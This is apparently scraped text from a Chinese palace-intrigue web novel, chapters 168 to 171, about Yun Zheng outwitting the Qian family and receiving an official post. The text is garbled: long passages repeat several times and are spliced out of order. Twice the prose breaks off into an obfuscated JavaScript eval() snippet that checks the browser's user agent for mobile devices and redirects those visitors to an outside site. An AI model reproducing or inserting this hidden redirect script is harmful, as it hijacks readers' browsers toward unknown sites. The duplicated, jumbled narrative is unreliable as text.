厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 钱老夫人深吸一口气,心态已经调整过来了,“见过九千岁。” 厉无恙冷冷的看着她,年幼时见过她几次,都不是什么好印象。 “钱老夫人,你对本王很不满?” 钱老夫人强笑道,“不敢,绝无此事,还请王爷不要听信谗言。” 云筝发现钱老夫人对他的忌惮很深,“王爷,她说你耳根子软,不堪大用。” 钱老夫人差点吐血,“你胡说。” 她摆出一副慈爱的面容,“王爷,您是皇室贵胄,切不可学那些市井小民,行事小气……” 云筝立马开口,“王爷,她咒你无父无母,要充当你的长辈,教训你。” 钱老夫人目瞪口呆,有她这么解读的吗? “不不……” 冰冷的声音响起,“掌嘴。” “啪啪。”黑影一闪而过,钱老夫人的脸被打肿了,她又气又羞。 “王爷,打狗还要看主人,你眼中还有皇上吗?” 云筝眼珠一转,“王爷,你赶紧让人去宫中,跟太后告状,有人想当你的娘,对你指手划脚,欺负你呢。” 你有皇上撑腰,王爷有太后啊,谁怕谁? 厉无恙深深的看了她一眼,她一双眼睛又黑又亮,只有真诚,没有别的。 他平静的心微起波澜,挥了挥手,“去。” 一名侍卫闪身离开,钱老夫人的脑袋嗡嗡作响,那位太后看似不问世事,却是大齐最尊贵的女人,连皇上都要敬三分。 更何况,那是皇上的……禁忌。 她哪敢跟太后对上? “王爷,老奴绝无此意,求王爷看在皇上的面子上,饶了老奴吧。” 她认怂了,厉无恙冷戾的目光落在她的老脸上,冷不防问道,“钱老夫人,相思子还有吗?” 这话一入耳,钱老夫人如五雷轰顶,眼前一黑,身体摇摇欲坠,重重摔在地上。 她,居然吓晕了过去! 云筝呆住了,不是吧?这可是心理素质超强的钱老夫人。 不对,不对劲! 第169章 恶人自有恶人磨 “相思子是何物?” 厉无恙深深的看了她一眼,眼神异样。 云筝好奇的不得了,到底是啥呀,钱老夫人的反应如此激烈,太不对劲了。 “不能问吗?” 厉无恙的视线移开,声音淡淡的,“前朝宫庭秘药。” 秘药啊,那也不至于吓晕,云筝眨了眨眼,“干什么用的?” 厉无恙清咳一声,也不看她,耳根微红,“媚药。” 云筝的小脸刷的爆红,尴尬的恨不得找个地洞钻进去。 她居然一直在追问!救命啊,谁来救救她! 气氛一下子尴尬起来,不知过了多久,云筝偷偷瞟了男人一眼,期期艾艾的开口,“我说,我不是故意的,信吗?” 厉无恙也看了她一眼,一副心虚的模样,莫名的戳中他的软肋,心里一软,“信,那本就失传了。” 云筝把玩着手指,悄无声息的转移话题,“那,钱老夫人怎么搞到的?” 厉无恙蹙了蹙眉,“我只是试探了一下,没想到……” 他嫌弃的看着躺在地上的钱老夫人,干坏事时脸不红心不跳,他只问了一句,就吓成这样。 这是做了多大的亏心事。 “老废物。” “哎。”云筝轻轻叹了一口气。 厉无恙看了过来,关心的问道,“怎么了?” 云筝指了指地上的钱老夫人,“我要有麻烦了,皇上一定以为是我将钱老夫人气晕的。” 厉无恙冷哼一声,“放心,我会跟皇上说,她被自家不孝子孙气晕的。” “一大把年纪了还要给不孝子孙擦屁股,真可怜。” 云筝的眼睛刷的亮了,“对对,要怪,就怪钱家两个不孝子,废物点心,干啥啥不行。” “没错。”厉无恙微微颔首。 两人相视一笑。 云筝忽然想起一事,“孙守信他……” 厉无恙打断她的话,“他以后就是你的人,无须事事跟我汇报。” 孙守信本是他的人,隐在暗处的明镜司一员,如今转到明面上,也算是补偿。 云筝一直在暗搓搓的招揽人手,不能总靠别人。 “真给我 了?你舍得?” 厉无恙眉眼含笑,温柔而又宠溺,“给你,有什么舍不得的?” 云筝心里甜滋滋的,“谢王爷,你对我真好。” 两人说说笑笑,全然不顾地上昏迷不醒的老太太。 一边的暗卫瞥了一眼钱老夫人,嗯,恶人自有恶人磨。 宫中,云筝一来,就被请到偏殿喝茶,等了好久,才等到传召。 她进去时,皇上还在批阅奏折,云筝行了一礼,大声叫道,“禀皇上,臣女特来交差。” 她中气十足,气血充盈,眼睛晶晶亮。 皇上累了一天,看到这样的精神状态都有些嫉妒了,“这么快?” 云筝笑眯眯的说道,“事情闹的太大,只能断刀斩乱麻,动作越快,就能将影响降到最低。” 皇上放下毛笔,揉了揉手腕,“具体说说。” 他恐怕早就第一时间知道了,帝王的情报系统强的可怕。 云筝就当他什么都不知道,将整个过程说了一遍。 皇上的表情很复杂,该夸她实诚呢,还是该骂她胆大妄为。 “你的手伸的挺长,还没有走马上任,就将自己人安**去了。” 云筝理直气壮的说道,“是钱家的手太长,我可没有那个本事。” “皇上,要罚就罚钱家!我还来不及干坏事呢。” 皇上无语了,“借力打力,玩的很溜嘛,朕都担心,你会将内务府玩坏。” 云筝眉头微蹙,“皇上,您不会反悔吧。” 皇上冷哼一声,“要是反悔呢?你又要满地打滚?” 云筝不乐意了,“我是体面人,怎么可能这么做?我一出宫门就……” 她顿了顿,“就去宗人府告状,告您欺骗无知少女的感情,是大骗子。” 皇上:…… “不要脸。” 云筝笑的可自豪了,“跟您学的。” 皇上气笑了,“胡说。” 云筝笑的贼兮兮的,“皇上,我见过那美人了,完美继承了钱老夫人的一切,恭喜您又要有奶娘了。” 皇上目瞪口呆,随后抄起桌边的奏折扔过去,“滚滚滚。” 云筝麻溜的滚蛋,一边跑还一边哈哈 大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 大笑,张扬极了。 皇上无奈的叹气,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 皇上想了想,表示认同,“说的没错,朕最宽宏大度。上下几千年,她这浑不吝的性子,也只有朕能包容。” 大太监:…… 有时候,他也很累,心累。 皇上抱怨了一通,话风一转,“大伴,安排一台花轿,把人悄悄接进宫。” “悄悄?”怎么像做贼? 皇上淡淡的道,“闹成这样不好听,养上一段时间,避避风头再说,老夫人应该能理解的。” 大太监有些同情钱大小姐了,还没进宫就冷处理,看来皇上宠归宠,但不会给她高份位。 可在宫中,宠爱是虚的,份位和孩子才是实打实的。 除非,她手段高明,能哄的皇上改了主意,逆天改命登上高位。 钱老夫人是被抬回府中,全家鸡飞狗跳,全乱套了。 钱维看着躺在床上的老太太,内心极为煎熬,“太医,我娘怎么样?” 太医一脸的为难,“这……” 钱维有种不好的预感,“快说。” 太医轻轻叹气,“老夫人中风了。” 钱家人都变了脸色,老夫人是钱家的顶梁柱,定海神针!天都塌了! 钱维气怒攻心,大声怒吼,“云筝,我跟你不共戴天!” “惠儿,你一定要记住今日之辱,改日百倍千倍的还回去。” 哭红了眼的钱惠应了一声,“是。” 通传声响起,“老爷,宫中来人了。” 钱维精神一震,“来的正好,我要告御状。” 他满腹怨恨的跑过去,但,注定要失望了。 宫中带来了一个好消息,一个坏消息,让钱家冰火两重天,也让钱维兄弟气的吐血。 云筝,你怎么敢诬告? 皇上,您听信谗言,糊涂啊! 第170章 两道圣旨,冰火两重天 钱家人都跪在地上,公公大声宣旨,“奉天承运,皇帝诏曰,江南总督钱维兄弟侍母不孝,累及钱老夫人四处奔波,累到病倒,钱维罚俸禄一年,其弟削职。 钱维兄弟脸色大变,不敢相信自己的耳朵,没听错吧? 他们不孝?有没有搞错?他们把老母亲当成镇府之宝,孝顺的不得了,不敢有丝毫懈怠。 钱二爷急的直跳脚,他的官职虽是虚职,但也体面,怎么能说削就削? 钱二夫人急的面红耳赤,她的儿女都快到适婚年纪,需要父亲的官职撑场面,“公公,是不是弄错了? 公公同情的看着他们,“没错。 钱维心里一动,往太监手里塞了一张银票,“敢问公公,皇上下旨前,身边可有什么人? 太监笑眯眯的收了银票,“锦云郡主刚离开宫中,她是大笑着离开的。 又是她!钱二爷急眼了,“她怎么能…… 钱维一把按住钱二爷的胳膊,冷冷的瞪了一眼,祸从口出。 事已至此,他只能低头,“臣领旨。 皇上金口玉言,怎么可能有错呢? 公公收起圣旨,继续开口,“皇上口谕,宣召钱维之女钱惠,进宫伴驾。 钱家人精神一震,喜出望外,这可是天大的好消息。 钱惠满脸羞红,心跳如雷,微微垂首。 “谢主隆恩。 公公亲自扶起钱惠,满脸的殷勤,“小的已经备好轿子,请钱大小姐上轿。 钱维呆了呆,“还请暂缓几日,我们做些进宫的准备。 公公神色严肃,“这是皇令。 这么急?感觉有些不合常理,钱维心思飞转。 钱惠柔声说道,“这位公公,麻烦您回去跟皇上说一声,家中祖母病重,小女要侍疾,等祖母病好再进宫。 公公拱了拱手,“钱大小姐,我们是奉诏行事,还请见谅。 他态度坚决,没有回旋的余地。 钱维不想节外生枝,“罢了,别为难公公,惠儿,你好好服侍皇上,无需担心家里。 钱惠恭谨的应道,“是,父亲。 钱维准备了一箱子碎银子和珠宝首饰,“这些都用来打点,每个月我还 会送一笔钱进去,尽管花,别省着。” 宫廷是最富贵,也是最势力的地方,上上下下都要打点。 没有银子,在宫中寸步难行。 钱惠盈盈一拜,“谢父亲。” 一家人依依惜别,公公很耐心的等着。 只有在上轿时,他才开口,“等一下。” 他指了指钱惠身后的奴婢,“按宫规,只允许带两名丫鬟。” 钱维蹙了蹙眉,“可,娘娘们进宫都允许带两名丫鬟和两个嬷嬷。” 公公迟疑了一下,“您是才人。” 后宫妃嫔称号按地位高低依次为皇后、皇贵妃、贵妃、妃、嫔、昭仪、婕妤、美人、才人、贵人,选侍、淑女。注(1) 才人是正五品,美人是正四品,以此为界线,往上算是高品阶妃嫔,吃穿用度都不一样,随侍人员也多一倍。 钱家人的脸色大变,按照钱老夫人的设想,怎么着也会给一个昭仪的份位。 过个两年就升为嫔,就有了自己的主位,拥有自己独立的宫殿,再生个儿子,钱家就彻底稳了。 可现在,怎么回事?跟她们设想的不一样! 钱维又塞了银票过去,轻声打探,“锦云郡主到底跟皇上说了什么?” 公公微微摇头,“奴才不在跟前侍候,不是很清楚,但皇上的意思,最近闹出这样的事,影响不好,等过了风头再说。” 皇上都这么说了,钱家人只能照办,一切低调行事。 但,钱家人还是将所有的怨恨都记在云筝头上,暗暗发誓,必报此仇。 而云家,一家三口和鬼医祖孙俩其乐融融的围坐在一起吃饭。 云母给女儿挟了一筷子菜,“钱氏女还是进宫了,为什么不把她拦下来?我担心她吹枕头风。” 枕头风的厉害,她是最清楚的。 鬼医抬起头,“之前应该给她下毒,让她悄无声息的死去。” 他们祖孙已经跟云家亲如一家,早就绑定在一起,云家若是败了,他们祖孙也得死。 云筝吃了一口菜,漫不经心的说道,“后宫是皇上的底线,没有必要为了一个女人得罪皇上。他跟我一样小气记仇。” “更何况,这人啊,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969041|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到的就会念念不忘,得到了,也就那样。” 这就是人性,不管男女都一样。 帝王富有四海,唯我独尊,想要什么的女子不能到手? 与其让他念念不忘,时时怀念,不如让他得到。 云母还是不放心,“真不会影响到我们云家?” 云筝微微一笑,“她暂时还没有那样的能力,先在宫中站稳脚跟再说吧。” 宫中情势错综复杂,稍一差池就会粉身碎骨。 更何况,宫中嫔妃们对钱氏女虎视眈眈,她先顾好自己吧。 云展鹏对女儿全然信任,女儿早就青出蓝而胜于蓝。 “皇宫是权利的中心,也是世上最危险的地方,危机四伏,我们先静观其变。” 鬼医神色复杂的看了云筝一眼,“我弄了两颗解百毒的丸子和一些**,你随身携带。” 感觉她的仇家越来越多了,比他的还多。 无奈已经上了贼船,只能生死与共,他能做的就是尽力护住他们一家三口。 “好。”云筝知道他在担心什么。 吃完晚饭,云筝陪小安康玩了一会儿,又检查了他的学习情况。 不得不说,这孩子是有读书天赋的,学习进步很快。 听着云筝的夸赞声,安康挺起小胸膛,骄傲极了。 鬼医淡淡瞥了孙子一眼,这小子只有在云筝面前乖的不得了,为了让她夸一句,学习格外勤奋,早起晚睡都在用功。 就在此时,通传声响起,“郡主,宫中来人了。” 云家众人面面相觑,这么晚了,有什么急事? 传旨公公面带微笑走进来,大家暗松一口气,看来不是什么坏事。 公公展开明黄色的圣旨,大声宣读,“奉天承运,皇帝诏曰,锦云郡主聪慧机敏,才华出众,着其入内务府办差,授广储司郎中一职,尔宜恪尽职守,勉之慎之。钦此。” 这就是那道流传千古的授官圣旨,首开先例,为女子往上走的第一步,是无数女子效仿的目标。 这圣旨一出,一石激起千层浪,引发了一场轰轰烈烈的朝野**大会战。 而,当事人云筝首当其冲,一场风波向她袭来,差点将她掀翻…… 第171章 以一敌百,爽(上) 厉无恙深深的看了她一眼,眼神异样。 云筝好奇的不得了,到底是啥呀,钱老夫人的反应如此激烈,太不对劲了。 “不能问吗?” 厉无恙的视线移开,声音淡淡的,“前朝宫庭秘药。” 秘药啊,那也不至于吓晕,云筝眨了眨眼,“干什么用的?” 厉无恙清咳一声,也不看她,耳根微红,“媚药。” 云筝的小脸刷的爆红,尴尬的恨不得找个地洞钻进去。 她居然一直在追问!救命啊,谁来救救她! 气氛一下子尴尬起来,不知过了多久,云筝偷偷瞟了男人一眼,期期艾艾的开口,“我说,我不是故意的,信吗?” 厉无恙也看了她一眼,一副心虚的模样,莫名的戳中他的软肋,心里一软,“信,那本就失传了。” 云筝把玩着手指,悄无声息的转移话题 ,“那,钱老夫人怎么搞到的?” 厉无恙蹙了蹙眉,“我只是试探了一下,没想到……” 他嫌弃的看着躺在地上的钱老夫人,干坏事时脸不红心不跳,他只问了一句,就吓成这样。 这是做了多大的亏心事。 “老废物。” “哎。”云筝轻轻叹了一口气。 厉无恙看了过来,关心的问道,“怎么了?” 云筝指了指地上的钱老夫人,“我要有麻烦了,皇上一定以为是我将钱老夫人气晕的。” 厉无恙冷哼一声,“放心,我会跟皇上说,她被自家不孝子孙气晕的。” “一大把年纪了还要给不孝子孙擦屁股,真可怜。” 云筝的眼睛刷的亮了,“对对,要怪,就怪钱家两个不孝子,废物点心,干啥啥不行。” “没错。”厉无恙微微颔首。 两人相视一笑。 云筝忽然想起一事,“孙守信他……” 厉无恙打断她的话,“他以后就是你的人,无须事事跟我汇报。” 孙守信本是他的人,隐在暗处的明镜司一员,如今转到明面上,也算是补偿。 云筝一直在暗搓搓的招揽人手,不能总靠别人。 “真给我了?你舍得?” 厉无恙眉眼含笑,温柔而又宠溺,“给你,有什么舍不得的?” 云筝心里甜滋滋的,“谢王爷,你对我真好。” 两人说说笑笑,全然不顾地上昏迷不醒的老太太。 一边的暗卫瞥了一眼钱老夫人,嗯,恶人自有恶人磨。 宫中,云筝一来,就被请到偏殿喝茶,等了好久,才等到传召。 她进去时,皇上还在批阅奏折,云筝行了一礼,大声叫道,“禀皇上,臣女特来交差。” 她中气十足,气血充盈,眼睛晶晶亮。 皇上累了一天,看到这样的精神状态都有些嫉妒了,“这么快?” 云筝笑眯眯的说道,“事情闹的太大,只能断刀斩乱麻,动作越快,就能将影响降到最低。” 皇上放下毛笔,揉了揉手腕,“具体说说。” 他恐怕早就第一时间知道了,帝王的情报系统强的可怕。 云筝就当他什么都不知道,将整个过程说了一遍。 皇上的表情很复杂,该夸她实诚呢,还是该骂她胆大妄为。 “你的手伸的挺长,还没有走马上任,就将自己人安插进去了。” 云筝理直气壮的说道,“是钱家的手太长,我可没有那个本事。” “皇上,要罚就罚钱家!我还来不及干坏事呢。” 皇上无语了,“借力打力,玩的很溜嘛,朕都担心,你会将内务府玩坏。” 云筝眉头微蹙,“皇上,您不会反悔吧。” 皇上冷哼一声,“要是反悔呢?你又要满地打滚?” 云筝不乐意了,“我是体面人,怎么可能这么做?我一出宫门就……” 她顿了顿,“就去宗人府告状,告您欺骗无知少女的感情,是大骗子。” 皇上:…… “不要脸。” 云筝笑的可自豪了,“跟您学的。” 皇上气笑了,“胡说。” 云筝笑的贼兮兮的,“皇上,我见过那美人了,完美继承了钱老夫人的一切,恭喜您又要有奶娘了。” 皇上目瞪口呆,随后抄起桌边的奏折扔过去,“滚滚滚。” 云筝麻溜的滚蛋,一边跑还一边哈哈大笑,张扬极了。 皇上无奈的叹气,“这臭丫头,什么都敢说,朕膝下的皇子公主没有一个敢跟朕这么说话。” 皇子公主对他敬若神明,恭恭敬敬,大气都不敢喘,实在无趣。 他嘴上抱怨,但嘴角的笑意明显,大太监不禁暗暗吐槽他口是心非。 “锦云郡主知道您是个宽宏大度的君王,才敢跟您说笑。” 能一样吗?在皇子公主眼里,君父,先是君,后是父。 而,锦云郡主是个另类,不是正常人啊。 